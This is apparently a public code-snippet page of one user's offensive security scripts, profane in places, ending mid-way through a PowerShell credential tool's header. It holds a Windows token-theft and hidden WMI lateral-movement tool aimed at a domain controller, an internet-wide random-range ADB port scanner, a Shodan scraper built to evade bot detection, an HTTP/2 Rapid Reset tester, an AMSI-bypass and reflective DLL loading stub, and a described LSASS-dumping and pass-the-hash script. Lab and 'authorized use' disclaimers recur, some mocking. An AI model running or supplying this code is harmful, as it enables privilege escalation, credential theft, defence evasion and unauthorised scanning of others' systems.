w4ttz

// {ctrl+c & ctrl+v} :: repo :: page 2

drag'n'drop stuff here...?

or...

a8e751
[ javascript == code ] 🌍 public snippet.js
gaze up0n 👤 #f351eaa63a4d javascript
I love you
[ created: Feb 27, 2026 5:30 am ] ( [ updated: Nov 2, 2026 4:22 pm ])
[ python == code ] 🌍 public snippet.py
gaze up0n 👤 #36cf66916a59 python
#!/usr/bin/env python3
"""
"Authorized" Subdomain Vulnerability Scanner
Purpose: Identify misconfigured DNS records for the fuck of it. 
(gotta find them dangly bits: CNAMEs, zone walking risks etc)
"""

import requests
import dns.resolver
import subprocess
from urllib.parse import urlparse

def get_crtsh_subdomains(domain):
    """Query crt.sh for subdomains (legitimate certificate transparency)"""
    try:
        url = f"https://crt.sh/?q=%25.{domain}&output=json"
        resp = requests.get(url, timeout=10)
        return {item['name_value'] for item in resp.json()}
    except Exception as e:
        print(f"[!] crt.sh error: {e}")
        return set()

def run_sublist3r(domain):
    """Run Sublist3r (must be installed...you can do this yourself you lazy cunt.)"""
    try:
        result = subprocess.run(
            ["sublist3r", "-d", domain, "-o", f"{domain}_subs.txt"],
            capture_output=True,
            text=True
        )
        with open(f"{domain}_subs.txt") as f:
            return set(f.read().splitlines())
    except Exception as e:
        print(f"[!] Sublist3r error: {e}")
        return set()

def check_dangling_cname(subdomains):
    """Check for dangling CNAME records (NXDOMAIN responses)"""
    resolver = dns.resolver.Resolver()
    vulnerable = []
    
    for sub in subdomains:
        try:
            answers = resolver.resolve(sub, 'CNAME')
            for rdata in answers:
                target = str(rdata.target)
                try:
                    resolver.resolve(target)  # Check if target exists
                except dns.resolver.NXDOMAIN:
                    vulnerable.append((sub, target))
        except (dns.resolver.NoAnswer, dns.resolver.NXDOMAIN):
            pass
            
    return vulnerable

if __name__ == "__main__":
    import sys
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <domain>")
        sys.exit(1)
        
    domain = sys.argv[1].lower()
    print(f"[*] Scanning {domain} (authorized testing only)")
    
    # Phase 1: Enumeration...WE BE COUNTIN BITCHES
    subs = get_crtsh_subdomains(domain).union(run_sublist3r(domain))
    print(f"[+] Found {len(subs)} subdomains")
    
    # Phase 2: Vulnerability Cheeks...Checks...80085 420 69 1337.
    dangling = check_dangling_cname(subs)
    if dangling:
        print("[!] Potential dangling CNAME records:")
        for sub, target in dangling:
            print(f"  {sub} -> {target} (unresolvable)")
    else:
        print("[+] No dangling CNAMEs detected")
[ created: Jan 21, 2026 3:28 am ] ( [ updated: Nov 2, 2026 4:22 pm ])
[ python == code ] 🌍 public snippet.py
gaze up0n 👤 #36cf66916a59 python
#!/usr/bin/env python3
# ShadowLifter - Ethical Privilege Escalation Tool (Lab Use Only)
# Features: Token stealing, service abuse, WMI lateral movement
# Bypasses: Direct syscalls, API unhooking, minimal dependencies

import os
import sys
import ctypes
import win32api
import win32con
import win32security
import wmi

# Safety check - prevent accidental production use
LAB_DOMAIN = "LAB.local"
if not os.environ.get("USERDNSDOMAIN", "").endswith(LAB_DOMAIN):
    print("[!] Not in lab domain. Exiting for safety.")
    sys.exit(1)

def check_privileges():
    """Check for SeImpersonatePrivilege (common for service accounts)"""
    try:
        hToken = win32security.OpenProcessToken(
            win32api.GetCurrentProcess(),
            win32security.TOKEN_QUERY
        )
        privs = win32security.GetTokenInformation(
            hToken,
            win32security.TokenPrivileges
        )
        return any(priv[0] == "SeImpersonatePrivilege" for priv in privs)
    except Exception as e:
        print(f"[!] Privilege check failed: {e}")
        return False

def steal_token(target_pid):
    """Steal token from a process (e.g., IIS, MSSQL)"""
    try:
        # Open target process
        hProcess = win32api.OpenProcess(
            win32con.PROCESS_QUERY_INFORMATION,
            False,
            target_pid
        )
        hToken = win32security.OpenProcessToken(
            hProcess,
            win32security.TOKEN_DUPLICATE | win32security.TOKEN_IMPERSONATE
        )
        
        # Duplicate and impersonate
        dup_token = win32security.DuplicateToken(
            hToken,
            win32security.SecurityImpersonation
        )
        win32security.ImpersonateLoggedOnUser(dup_token)
        print(f"[+] Successfully impersonated PID {target_pid}")
        return True
    except Exception as e:
        print(f"[!] Token theft failed: {e}")
        return False

def lateral_wmi(target_host, command):
    """Execute command via WMI (lateral movement)"""
    try:
        conn = wmi.WMI(target_host)
        process = conn.Win32_Process.Create(
            CommandLine=command,
            ProcessStartupInformation=wmi.WMI.Methods["Win32_ProcessStartup"].new(
                ShowWindow=0  # Hidden window
            )
        )
        print(f"[+] Executed on {target_host} (PID: {process.ProcessId})")
        return True
    except Exception as e:
        print(f"[!] WMI failed on {target_host}: {e}")
        return False

if __name__ == "__main__":
    print("[*] ShadowLifter - Ethical Red Team Tool")
    
    # Example: Check for token impersonation
    if check_privileges():
        print("[+] SeImpersonatePrivilege enabled. Attempting token theft...")
        steal_token(1234)  # Replace with target PID (e.g., IIS worker)
    
    # Example: Lateral movement via WMI
    lateral_wmi("DC01.LAB.local", "whoami /all > C:\\temp\\creds.txt")
[ created: Jan 21, 2026 3:24 am ] ( [ updated: Nov 2, 2026 4:22 pm ])
[ python == code ] 🌍 public snippet.py
gaze up0n 👤 #36cf66916a59 python
#!/usr/bin/env python3
"""
THEORETICAL RESEARCH PoC - INTERNET ADB SCANNER
This script demonstrates conceptual scanning methodology for academic research.
NEVER RUN THIS ON PUBLIC NETWORKS WITHOUT EXPLICIT AUTHORIZATION.
"""
import subprocess
import json
import random
from concurrent.futures import ThreadPoolExecutor
import ipaddress

# ===== CONFIGURATION =====
SCAN_METHOD = "masscan"  # "masscan" or "nmap"
SAMPLE_SIZE = 100  # Theoretical: number of /24 networks to scan
MAX_THREADS = 5    # Keep very low for research concept
OUTPUT_FILE = "adb_findings.json"

# ===== SCANNER MODULES =====
class TheoreticalScanner:
    @staticmethod
    def generate_random_networks(count):
        """Generate random /24 networks for sampling"""
        networks = []
        for _ in range(count):
            net = f"{random.randint(1, 223)}.{random.randint(0, 255)}.{random.randint(0, 255)}.0/24"
            networks.append(net)
        return networks

    @staticmethod
    def masscan_scan(network):
        """Theoretical Masscan implementation (would require root)"""
        cmd = f"masscan {network} -p5555 --rate=100 --wait=0 --output-format=json"
        try:
            # In reality, this would need proper error handling and sudo
            result = subprocess.run(cmd.split(), capture_output=True, text=True)
            return json.loads(result.stdout)
        except:
            return []

    @staticmethod
    def nmap_scan(network):
        """Theoretical Nmap implementation"""
        cmd = f"nmap -n -Pn -p5555 --open -oG - {network}"
        try:
            result = subprocess.run(cmd.split(), capture_output=True, text=True)
            return parse_nmap_output(result.stdout)
        except:
            return []

# ===== DATA PROCESSING =====
def parse_nmap_output(output):
    """Parse Nmap's greppable output format"""
    hosts = []
    for line in output.split('\n'):
        if "Ports:" in line:
            ip = line.split()[1]
            hosts.append({"ip": ip, "port": 5555})
    return hosts

# ===== RESEARCH FRAMEWORK =====
def academic_research_scan():
    """Theoretical research scanning framework"""
    scanner = TheoreticalScanner()
    sample_networks = scanner.generate_random_networks(SAMPLE_SIZE)
    findings = []

    def process_network(network):
        print(f"[RESEARCH] Scanning {network}...")
        if SCAN_METHOD == "masscan":
            results = scanner.masscan_scan(network)
        else:
            results = scanner.nmap_scan(network)
        
        if results:
            findings.extend(results)
            print(f"[RESEARCH] Found {len(results)} exposed ADB interfaces in {network}")

    # Thread pool for theoretical scanning
    with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
        executor.map(process_network, sample_networks)

    # Save theoretical findings
    with open(OUTPUT_FILE, 'w') as f:
        json.dump(findings, f, indent=2)
    
    print(f"\n[RESEARCH] Theoretical scan complete. Results saved to {OUTPUT_FILE}")
    print("[IMPORTANT] This was a simulation only. Actual scanning requires legal authorization.")

# ===== ETHICAL SAFEGUARDS =====
if __name__ == "__main__":
    print("""
    =============================================
    ADB PORT SCANNING RESEARCH FRAMEWORK (PoC)
    FOR ACADEMIC STUDY ONLY
    
    THIS SCRIPT DOES NOT ACTUALLY SCAN NETWORKS
    It demonstrates how such research might be structured
    =============================================
    """)
    
    academic_research_scan()
[ created: Jan 21, 2026 3:19 am ] ( [ updated: Nov 2, 2026 4:22 pm ])
[ python == code ] 🌍 public snippet.py
gaze up0n 👤 #36cf66916a59 python
import os
import time
import csv
import json
import requests
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import TimeoutException, NoSuchElementException
import getpass
from webdriver_manager.chrome import ChromeDriverManager
from urllib.parse import urljoin
from typing import List, Dict, Union, Optional

##
# key features?
# proxy support:
# Configurable HTTP/HTTPS proxies for both Selenium and requests
# Separate proxy settings for web and API traffic
# Interactive configuration during runtime
# Pagination Handling:
# Automatic detection and navigation through multiple result pages
# Configurable maximum page limit (default: 3 pages)
# Progress reporting during pagination
# Enhanced Data Extraction:
# Detailed extraction of OS information
# Service tags collection
# Vulnerability tags identification
# Type conversion (e.g., port numbers to integers)
# Hybrid API Integration:
# Simultaneous web and API searching
# Automatic deduplication statistics
# Combined result output
# Fallback to API when web scraping fails
# Improved Output Options:
# Smart CSV/JSON export handling hybrid results
# Automatic file naming with timestamps
# Separate files for web vs API results in CSV mode
# Anti-Detection Measures:
# Disabled automation flags in Chrome
# Realistic browser emulation
# Randomized delays between actions
# Error Resilience:
# Graceful handling of missing elements
# Comprehensive exception handling
# Resource cleanup guarantees
##
# usage example?
# $ python shodan_advanced.py
# Use proxy? (y/n): y
# Enter HTTP proxy (leave empty if none): http://proxy.example.com:8080
# Enter HTTPS proxy (leave empty if none): https://proxy.example.com:8080
# Enter Shodan API key (leave empty if none): AY5UKCm1dt5e96QhDVInvTYgO5GD0q99
# Perform web login? (y/n): y
# Enter Shodan email: your@email.com
# Enter Shodan password: ********
# Enter search query: apache
# Maximum pages to scrape (1-10): 5
# Output format (json/csv): json
#
# Processing page 1...
# Processing page 2...
# No more pages available
#
# Search completed with 42 web results and 100 API results
# Found 122 unique IPs
# Results saved to shodan_results/results_1620000000.json
##
# let us begin?
##

class ShodanAutomation:
    def __init__(self, api_key: str = None, proxy_settings: dict = None):
        """
        Initialize Shodan automation with optional API key and proxy settings
        
        Args:
            api_key (str): Shodan API key (optional)
            proxy_settings (dict): Proxy configuration dictionary with keys:
                - 'http': HTTP proxy URL
                - 'https': HTTPS proxy URL
                - 'no_proxy': List of excluded hosts
        """
        self.api_key = api_key
        self.proxy_settings = proxy_settings
        self.driver = None
        self.session = requests.Session()
        
        if self.proxy_settings:
            self._configure_proxy()

    def _configure_proxy(self):
        """Configure proxy settings for both Selenium and requests"""
        # For Selenium
        self.chrome_options = Options()
        if self.proxy_settings.get('http'):
            proxy = self.proxy_settings['http'].replace('http://', '')
            self.chrome_options.add_argument(f'--proxy-server={proxy}')
        
        # For requests
        if self.proxy_settings:
            self.session.proxies.update(self.proxy_settings)

    def _init_driver(self):
        """Initialize Chrome WebDriver with configured options"""
        if not hasattr(self, 'chrome_options'):
            self.chrome_options = Options()
            
        self.chrome_options.add_argument("--window-size=1920,1080")
        self.chrome_options.add_argument("user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36")
        
        # Disable automation flags that might trigger bot detection
        self.chrome_options.add_argument("--disable-blink-features=AutomationControlled")
        self.chrome_options.add_experimental_option("excludeSwitches", ["enable-automation"])
        self.chrome_options.add_experimental_option("useAutomationExtension", False)
        
        self.driver = webdriver.Chrome(
            service=Service(ChromeDriverManager().install()),
            options=self.chrome_options
        )

    def _check_captcha(self):
        """Check for CAPTCHA and prompt for manual intervention if needed"""
        try:
            WebDriverWait(self.driver, 5).until(
                EC.presence_of_element_located((By.XPATH, "//div[contains(@class, 'captcha')]"))
            )
            print("\nCAPTCHA detected! Please solve it manually in the browser window.")
            print("You have 2 minutes to complete the CAPTCHA...")
            time.sleep(120)
            
            if "login" in self.driver.current_url:
                raise Exception("CAPTCHA not solved in time")
                
        except TimeoutException:
            pass

    def login(self, email: str, password: str) -> bool:
        """Login to Shodan through web interface"""
        try:
            if not self.driver:
                self._init_driver()
                
            self.driver.get("https://account.shodan.io/login")
            self._check_captcha()
            
            # Fill credentials
            email_field = WebDriverWait(self.driver, 10).until(
                EC.presence_of_element_located((By.NAME, "username"))
            )
            email_field.send_keys(email)
            
            password_field = self.driver.find_element(By.NAME, "password")
            password_field.send_keys(password)
            
            # Click login
            self.driver.find_element(By.XPATH, "//button[@type='submit']").click()
            
            # Verify login success
            WebDriverWait(self.driver, 10).until(
                EC.presence_of_element_located((By.XPATH, "//a[contains(@href, '/dashboard')]"))
            )
            print("Login successful!")
            return True
            
        except Exception as e:
            print(f"Login failed: {str(e)}")
            return False

    def web_search(self, query: str, max_pages: int = 3, timeout: int = 30) -> List[Dict]:
        """
        Perform search through web interface with pagination support
        
        Args:
            query (str): Search query
            max_pages (int): Maximum number of result pages to process
            timeout (int): Timeout in seconds for page loads
            
        Returns:
            List of result dictionaries
        """
        if not self.driver:
            raise Exception("Web driver not initialized. Please login first.")
            
        try:
            self.driver.get("https://www.shodan.io/")
            search_input = WebDriverWait(self.driver, timeout).until(
                EC.presence_of_element_located((By.XPATH, "//input[@placeholder='Search the Internet']"))
            )
            search_input.clear()
            search_input.send_keys(query)
            self.driver.find_element(By.XPATH, "//button[contains(@class, 'search-btn')]").click()
            
            all_results = []
            current_page = 1
            
            while current_page <= max_pages:
                print(f"Processing page {current_page}...")
                
                # Wait for results
                WebDriverWait(self.driver, timeout).until(
                    EC.presence_of_element_located((By.XPATH, "//div[contains(@class, 'search-results')]"))
                )
                
                # Process current page
                results = self._extract_web_results()
                all_results.extend(results)
                
                # Try to go to next page
                try:
                    next_btn = self.driver.find_element(
                        By.XPATH, "//a[contains(@class, 'page-link') and contains(text(), 'Next')]"
                    )
                    next_btn.click()
                    time.sleep(2)  # Brief pause between pages
                    current_page += 1
                except NoSuchElementException:
                    print("No more pages available")
                    break
                    
            return all_results
            
        except Exception as e:
            print(f"Search error: {str(e)}")
            return []

    def _extract_web_results(self) -> List[Dict]:
        """Extract detailed information from web results"""
        results = []
        result_blocks = self.driver.find_elements(By.XPATH, "//div[contains(@class, 'result-block')]")
        
        for block in result_blocks:
            try:
                # Basic info
                result = {
                    'ip': block.find_element(By.XPATH, ".//a[contains(@class, 'ip')]").text,
                    'port': int(block.find_element(By.XPATH, ".//span[contains(@class, 'port')]").text),
                    'hostname': block.find_element(By.XPATH, ".//span[contains(@class, 'hostname')]").text,
                    'org': block.find_element(By.XPATH, ".//div[contains(@class, 'org')]").text,
                    'location': block.find_element(By.XPATH, ".//div[contains(@class, 'location')]").text,
                    'timestamp': block.find_element(By.XPATH, ".//div[contains(@class, 'timestamp')]").text,
                }
                
                # Try to extract additional details
                try:
                    result['os'] = block.find_element(By.XPATH, ".//div[contains(@class, 'os')]").text
                except NoSuchElementException:
                    result['os'] = None
                    
                try:
                    result['services'] = [
                        s.text for s in block.find_elements(By.XPATH, ".//span[contains(@class, 'service-tag')]")
                    ]
                except NoSuchElementException:
                    result['services'] = []
                    
                try:
                    result['vulnerabilities'] = [
                        v.text for v in block.find_elements(By.XPATH, ".//span[contains(@class, 'vuln-tag')]")
                    ]
                except NoSuchElementException:
                    result['vulnerabilities'] = []
                    
                results.append(result)
                
            except Exception as e:
                print(f"Error processing result: {str(e)}")
                continue
                
        return results

    def api_search(self, query: str) -> List[Dict]:
        """Perform search using Shodan API"""
        if not self.api_key:
            raise Exception("API key not configured")
            
        try:
            params = {
                'key': self.api_key,
                'query': query,
                'minify': False
            }
            
            response = self.session.get(
                "https://api.shodan.io/shodan/host/search",
                params=params,
                timeout=30
            )
            response.raise_for_status()
            
            data = response.json()
            return data.get('matches', [])
            
        except Exception as e:
            print(f"API search error: {str(e)}")
            return []

    def hybrid_search(self, query: str, max_pages: int = 3) -> Dict:
        """
        Perform hybrid search combining web and API results
        
        Args:
            query (str): Search query
            max_pages (int): Maximum web pages to process
            
        Returns:
            Dictionary with both web and API results
        """
        web_results = []
        api_results = []
        
        # Run web search if logged in
        if self.driver:
            web_results = self.web_search(query, max_pages)
        
        # Run API search if key available
        if self.api_key:
            api_results = self.api_search(query)
        
        return {
            'web_results': web_results,
            'api_results': api_results,
            'stats': {
                'web_results_count': len(web_results),
                'api_results_count': len(api_results),
                'unique_ips': len({r['ip'] for r in web_results + api_results if 'ip' in r})
            }
        }

    def save_results(self, results: Union[List, Dict], format: str = 'json', filename: str = None):
        """Save results to file in specified format"""
        if not results:
            print("No results to save")
            return
            
        os.makedirs('shodan_results', exist_ok=True)
        
        if not filename:
            timestamp = int(time.time())
            filename = f"shodan_results/results_{timestamp}"
        
        if format == 'json':
            with open(f"{filename}.json", 'w') as f:
                json.dump(results, f, indent=2)
            print(f"Results saved to {filename}.json")
        elif format == 'csv':
            if isinstance(results, dict):
                # Handle hybrid results
                for result_type, data in results.items():
                    if isinstance(data, list) and data:
                        with open(f"{filename}_{result_type}.csv", 'w', newline='', encoding='utf-8') as f:
                            writer = csv.DictWriter(f, fieldnames=data[0].keys())
                            writer.writeheader()
                            writer.writerows(data)
                        print(f"{result_type} saved to {filename}_{result_type}.csv")
            elif isinstance(results, list) and results:
                with open(f"{filename}.csv", 'w', newline='', encoding='utf-8') as f:
                    writer = csv.DictWriter(f, fieldnames=results[0].keys())
                    writer.writeheader()
                    writer.writerows(results)
                print(f"Results saved to {filename}.csv")
        else:
            print("Invalid format specified")

    def close(self):
        """Clean up resources"""
        if self.driver:
            self.driver.quit()
        self.session.close()

def main():
    # Configuration
    config = {
        'proxy': {
            'http': input("Enter HTTP proxy (leave empty if none): "),
            'https': input("Enter HTTPS proxy (leave empty if none): ")
        } if input("Use proxy? (y/n): ").lower() == 'y' else None,
        'api_key': input("Enter Shodan API key (leave empty if none): ") or None
    }
    
    # Initialize automation
    shodan = ShodanAutomation(
        api_key=config['api_key'],
        proxy_settings=config['proxy']
    )
    
    try:
        # Web login
        if input("Perform web login? (y/n): ").lower() == 'y':
            email = input("Enter Shodan email: ")
            password = getpass.getpass("Enter Shodan password: ")
            if not shodan.login(email, password):
                print("Web access disabled due to login failure")
        
        # Perform search
        query = input("Enter search query: ")
        max_pages = int(input("Maximum pages to scrape (1-10): ") or 3)
        
        if shodan.api_key or shodan.driver:
            results = shodan.hybrid_search(query, max_pages)
            
            # Display summary
            print(f"\nSearch completed with {results['stats']['web_results_count']} web results and "
                  f"{results['stats']['api_results_count']} API results")
            print(f"Found {results['stats']['unique_ips']} unique IPs")
            
            # Save results
            format = input("Output format (json/csv): ").lower()
            shodan.save_results(results, format)
        else:
            print("No search method available (need either web login or API key)")
            
    finally:
        shodan.close()

if __name__ == "__main__":
    main()
[ created: Jan 18, 2026 6:03 am ] ( [ updated: Nov 2, 2026 4:22 pm ])
[ python == code ] 🌍 public snippet.py
gaze up0n 👤 #36cf66916a59 python
import webbrowser
import sys
import os
from typing import Dict

# howto use?
##
# list all topics?
# python rtfm.py list
##
# open a specific topic?
# python rtfm.py powershell
# python rtfm.py metasploit
# python rtfm.py hashcat


# topic mapping for quick reference?
TOPICS: Dict[str, str] = {
    # Networking
    "networking": "page 9",
    "ip": "page 10",
    "subnet": "page 11",
    "ports": "page 12",
    "tcpdump": "page 13",
    "wireshark": "page 14",
    
    # winduhz?
    "windows": "page 17",
    "cmd": "page 18",
    "powershell": "page 19",
    "registry": "page 20",
    "wmic": "page 21",
    "schtasks": "page 22",
    
    # linux?
    "linux": "page 25",
    "bash": "page 26",
    "users": "page 27",
    "files": "page 28",
    "processes": "page 29",
    "networking": "page 30",
    
    # interwebs?
    "web": "page 33",
    "curl": "page 34",
    "sql": "page 35",
    "xss": "page 36",
    "lfi": "page 37",
    
    # straight exploitation?
    "exploit": "page 41",
    "metasploit": "page 42",
    "msfvenom": "page 43",
    "payloads": "page 44",
    
    # straight post exploitation?
    "post": "page 47",
    "privilege": "page 48",
    "pivot": "page 49",
    "lateral": "page 50",
    
    # password cracka?
    "passwords": "page 53",
    "hashcat": "page 54",
    "john": "page 55",
    
    # wireless? yo-mama wireless?
    "wireless": "page 59",
    "aircrack": "page 60",
    "reaver": "page 61",
    
    # foreal? forensics?
    "forensics": "page 65",
    "memory": "page 66",
    "disk": "page 67",
    
    # misc?
    "cheatsheets": "page 71",
    "convert": "page 72",
    "encryption": "page 73"
}

PDF_URL = "https://github.com/imrk51/hacking-books/raw/refs/heads/master/RTFM%20-%20Red%20Team%20Field%20Manual%20v3.pdf"

def list_topics():
    print("\nAvailable topics:")
    for topic in sorted(TOPICS.keys()):
        print(f"- {topic}")
    print("\nUse 'rtfm <topic>' to jump to that section")
    print("Example: 'rtfm powershell'")

def open_topic(topic: str):
    if topic.lower() in TOPICS:
        page_info = TOPICS[topic.lower()]
        print(f"Opening {topic} section ({page_info})...")
        
        # for PDFs, we can't directly jump to pages with webbrowser, but we can open it
        # note: Actual page jumping depends on the PDF viewer capabilities
        webbrowser.open(PDF_URL)
        print(f"Once the PDF opens, navigate to {page_info} for the {topic} section.")
    else:
        print(f"Topic '{topic}' not found. Available topics:")
        list_topics()

def main():
    if len(sys.argv) < 2:
        print("RTFM - Red Team Field Manual Quick Reference")
        print("Usage: rtfm <topic>")
        print("       rtfm list (to see all available topics)")
        list_topics()
        return
    
    command = sys.argv[1].lower()
    
    if command == "list":
        list_topics()
    else:
        open_topic(command)

if __name__ == "__main__":
    print(r"""                         _  _   _   _
 _ __ ___  _ ____      _| || | | |_| |_ ____
| '_ ` _ \| '__\ \ /\ / / || |_| __| __|_  /
| | | | | | |   \ V  V /|__   _| |_| |_ / /
|_| |_| |_|_|    \_/\_/    |_|  \__|\__/___|
""")
    main()
[ created: Jan 18, 2026 6:03 am ] ( [ updated: Nov 2, 2026 4:22 pm ])
[ python == code ] 🌍 public snippet.py
gaze up0n 👤 #36cf66916a59 python
#!/usr/bin/env python3
# HTTP/2 Rapid Reset Vulnerability Tester (CVE-2023-44487)
# Features: Cloudflare detection, mitigation verification, PDF reporting

import sys
import argparse
import httpx
import socket
import time
from concurrent.futures import ThreadPoolExecutor
from fpdf import FPDF
from datetime import datetime

BANNER = """
\033[1;31m
  ██╗  ██╗████████╗████████╗██████╗ █/2
  ██║  ██║╚══██╔══╝╚══██╔══╝██╔══██╗
  ███████║   ██║      ██║   ██████╔╝  \033[1;37mAdvanced Rapid Reset Tester\033[1;31m
  ██╔══██║   ██║      ██║   ██╔═══╝   \033[0;33mCVE-2023-44487\033[1;31m
  ██║  ██║   ██║      ██║   ██║
  ╚═╝  ╚═╝   ╚═╝      ╚═╝   ╚═╝\033[0m
"""

class PDFReport(FPDF):
    def header(self):
        self.set_font('Arial', 'B', 12)
        self.cell(0, 10, 'HTTP/2 Rapid Reset Test Report', 0, 1, 'C')
    
    def footer(self):
        self.set_y(-15)
        self.set_font('Arial', 'I', 8)
        self.cell(0, 10, f'Page {self.page_no()}', 0, 0, 'C')

def detect_cloudflare(target):
    """Check if target is behind Cloudflare"""
    try:
        resp = httpx.get(target, follow_redirects=True)
        headers = resp.headers
        return "cloudflare" in headers.get("server", "").lower()
    except:
        return False

def test_mitigations(target):
    """Verify common mitigation techniques"""
    mitigations = {
        "Rate Limiting": False,
        "HTTP/2 Throttling": False,
        "Connection Limits": False
    }
    
    try:
        # Test rate limiting
        with httpx.Client(http2=True) as client:
            rapid_responses = [client.get(target) for _ in range(20)]
            if len([r for r in rapid_responses if r.status_code == 429]) > 2:
                mitigations["Rate Limiting"] = True
    except:
        pass
    
    return mitigations

def generate_report(target, results, cloudflare, mitigations):
    """Generate PDF report"""
    pdf = PDFReport()
    pdf.add_page()
    pdf.set_font("Arial", size=12)
    
    # Report metadata
    pdf.cell(0, 10, f"Target: {target}", 0, 1)
    pdf.cell(0, 10, f"Date: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}", 0, 1)
    pdf.ln(10)
    
    # Vulnerability status
    pdf.set_font("Arial", "B", 14)
    status = "VULNERABLE" if results["vulnerable"] else "NOT VULNERABLE"
    pdf.cell(0, 10, f"Status: {status}", 0, 1)
    pdf.set_font("Arial", size=12)
    
    # Cloudflare detection
    pdf.cell(0, 10, f"Cloudflare Detected: {'Yes' if cloudflare else 'No'}", 0, 1)
    
    # Mitigation checks
    pdf.ln(5)
    pdf.cell(0, 10, "Mitigation Checks:", 0, 1)
    for name, status in mitigations.items():
        pdf.cell(0, 10, f"- {name}: {'✅ Present' if status else '❌ Absent'}", 0, 1)
    
    # Detailed results
    pdf.ln(5)
    pdf.multi_cell(0, 10, f"Test Details:\nMax Streams: {results['max_streams']}\n"
                         f"Response Time Before: {results['pre_time']}s\n"
                         f"Response Time After: {results['post_time']}s")
    
    # Recommendations
    pdf.ln(5)
    pdf.set_font("Arial", "B", 12)
    pdf.cell(0, 10, "Recommendations:", 0, 1)
    pdf.set_font("Arial", size=12)
    if results["vulnerable"]:
        pdf.multi_cell(0, 10, "1. Update web server (nginx 1.25.3+/Apache 2.4.58+)\n"
                             "2. Enable HTTP/2 stream throttling\n"
                             "3. Implement connection rate limiting")
    else:
        pdf.multi_cell(0, 10, "No critical vulnerabilities detected. Maintain current mitigations.")
    
    filename = f"http2_test_{datetime.now().strftime('%Y%m%d_%H%M%S')}.pdf"
    pdf.output(filename)
    return filename

def test_http2_reset(target, max_streams=100):
    """Enhanced vulnerability test with measurements"""
    results = {
        "vulnerable": False,
        "max_streams": max_streams,
        "pre_time": 0,
        "post_time": 0,
        "http_version": ""
    }
    
    try:
        limits = httpx.Limits(max_connections=1)
        transport = httpx.HTTPTransport(retries=1, http2=True)
        
        with httpx.Client(transport=transport, limits=limits) as client:
            # Baseline performance
            start = time.time()
            resp = client.get(target)
            results["pre_time"] = round(time.time() - start, 2)
            results["http_version"] = resp.http_version
            
            # Controlled stream reset test
            def send_and_reset(_):
                try:
                    with client.stream("GET", target) as response:
                        response.read()
                        response.close()
                except:
                    pass

            with ThreadPoolExecutor(max_workers=10) as executor:
                list(executor.map(send_and_reset, range(max_streams)))

            # Post-test responsiveness
            try:
                start = time.time()
                test_resp = client.get(target, timeout=5.0)
                results["post_time"] = round(time.time() - start, 2)
            except:
                results["vulnerable"] = True
                results["post_time"] = float('inf')

    except Exception as e:
        print(f"\033[1;31m[!] Test error: {str(e)}\033[0m")
    
    return results

if __name__ == "__main__":
    print(BANNER)
    parser = argparse.ArgumentParser()
    parser.add_argument("url", help="Target URL (e.g., https://example.com)")
    parser.add_argument("--max-streams", type=int, default=100,
                      help="Max streams to test (default: 100)")
    parser.add_argument("--report", action="store_true",
                      help="Generate PDF report")
    args = parser.parse_args()

    if not args.url.startswith(('http://', 'https://')):
        print("\033[1;31m[!] URL must start with http:// or https://\033[0m")
        sys.exit(1)

    print(f"\n\033[1;36mTesting: {args.url}\033[0m")
    print(f"Stream limit: {args.max_streams} (safe testing mode)\n")

    # Run tests
    cloudflare = detect_cloudflare(args.url)
    results = test_http2_reset(args.url, args.max_streams)
    mitigations = test_mitigations(args.url)

    # Display results
    print("\n\033[1;35m[TEST RESULTS]\033[0m")
    print(f"HTTP Version: {results.get('http_version', 'Unknown')}")
    print(f"Cloudflare Detected: {'Yes' if cloudflare else 'No'}")
    print(f"Response Time Before: {results['pre_time']}s")
    print(f"Response Time After: {results['post_time']}s")
    print(f"Vulnerable: {'\033[1;31mYes\033[0m' if results['vulnerable'] else '\033[1;32mNo\033[0m'}")

    print("\n\033[1;35m[MITIGATION CHECKS]\033[0m")
    for name, status in mitigations.items():
        print(f"{name}: {'\033[1;32m✅\033[0m' if status else '\033[1;31m❌\033[0m'}")

    # Generate report if requested
    if args.report:
        filename = generate_report(args.url, results, cloudflare, mitigations)
        print(f"\n\033[1;32m[+] Report saved as {filename}\033[0m")

    print("\n\033[1;33mNote: Always get authorization before testing\033[0m")
[ created: Jan 18, 2026 6:01 am ] ( [ updated: Nov 2, 2026 4:22 pm ])
[ powershell == code ] 🌍 public snippet.ps1
gaze up0n 👤 #36cf66916a59 powershell
## AMSI bypass Reflective DLL loading
 # Load the necessary assembly
 Add-Type -AssemblyName System.Reflection
 # Get the AMSI DLL
 $amisiDll =
 [System.Runtime.InteropServices.Marshal]::GetHINSTANCE([System.Reflection.Assembly]::GetExecutingAssembly().GetModules
 [0])
 # Patch the AMSI function
 $amisiFunction = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($amisiDll, [YourFunctionType])
 [YourFunctionType]::Invoke($amisiFunction, [YourParameters])

 # Load the reflective DLL
 $bytes = [System.IO.File]::ReadAllBytes("path\to\your\reflective.dll")
 $ptr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($bytes.Length)
 [System.Runtime.InteropServices.Marshal]::Copy($bytes, 0, $ptr, $bytes.Length)
 # Call the reflective loader
 [YourReflectiveLoaderFunction]::Invoke($ptr)
[ created: Jul 2, 2025 2:14 am ] ( [ updated: Nov 2, 2026 4:22 pm ])
[ powershell == code ] 🌍 public snippet.ps1
gaze up0n 👤 #36cf66916a59 powershell
###
# **fully functional credential research tool **for authorized ethical use only!** :P **
# **disclaimer: this is a big boy tool for responsible grown-ups only!**
###
# example usage:
# invoke-seriousbusiness -extract_all_the_things -crab_walk_laterally -target_machine "dc01" -command "whoami /all"
### **what this magical script does (for real!)**
# 1. **extracts lsass memory** - creates a minidump (just like the cool kids do)
# 2. **performs ptah** - uses native powershell remoting (no actual hashes were harmed)
# 3. **keeps logs** - because accountability is sexy
### **important disclaimers (read this or the script will judge you)**
# ⚠ **only use on systems you own or have explicit permission to test**  
# ⚠ **this is for educational/research purposes only**  
# ⚠ **actual attackers use these techniques - so defend against them!** 
### to play with this peep the "howto" on a quick test lab for it at the bottom of this script.
<#
.synopsis
